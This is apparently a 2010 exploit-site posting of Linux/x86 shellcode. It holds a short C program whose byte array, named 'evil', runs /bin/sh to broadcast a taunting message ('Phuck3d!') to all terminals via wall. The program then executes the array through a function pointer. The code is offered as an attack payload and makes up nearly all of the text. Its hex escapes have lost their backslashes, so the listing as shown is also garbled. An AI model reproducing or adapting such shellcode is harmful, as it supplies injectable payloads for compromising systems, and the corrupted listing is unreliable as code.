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linux/x86 sends "Phuck3d!" to all terminals (60 by

Posted on 25 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 sends &quot;Phuck3d!&quot; to all terminals (60 bytes) shellcode</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================
linux/x86 sends &quot;Phuck3d!&quot; to all terminals (60 bytes) shellcode
================================================================

/*
 
$Id: where-is-wallie.c, v 1.0 2010/04/24 18:32:29 condis Exp $
 
linux/x86 sends &quot;Phuck3d!&quot; to all terminals (60 bytes) shellcode
by condis
 
Tested on: Linux Debian
 
*/
 
int main(void)
{
    char evil[] =  
 
        &quot;x6ax0b&quot;              // push   $0xb
        &quot;x58&quot;                  // pop    %eax
        &quot;x99&quot;                  // cltd
        &quot;x52&quot;                  // push   %edx
        &quot;x68x77x61x6cx6c&quot;  // push   $0x6c6c6177
        &quot;x68x21x20x7cx20&quot;  // push   $0x207c2021
        &quot;x68x63x6bx33x64&quot;  // push   $0x64336b63
        &quot;x68x20x50x68x75&quot;  // push   $0x75685020
        &quot;x68x65x63x68x6f&quot;  // push   $0x6f686365
        &quot;x89xe6&quot;              // mov    %esp,%esi
        &quot;x52&quot;                  // push   %edx
        &quot;x66x68x2dx63&quot;      // pushw  $0x632d
        &quot;x89xe1&quot;              // mov    %esp,%ecx
        &quot;x52&quot;                  // push   %edx
        &quot;x68x2fx2fx73x68&quot;  // push   $0x68732f2f
        &quot;x68x2fx62x69x6e&quot;  // push   $0x6e69622f
        &quot;x89xe3&quot;              // mov    %esp,%ebx
        &quot;x52&quot;                  // push   %edx
        &quot;x56&quot;                  // push   %esi
        &quot;x51&quot;                  // push   %ecx
        &quot;x53&quot;                  // push   %ebx
        &quot;x89xe1&quot;              // mov    %esp,%ecx
        &quot;xcdx80&quot;              // int    $0x80
 
 
    void(*boom)()=(void*)evil;
    boom();
 
    return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-25]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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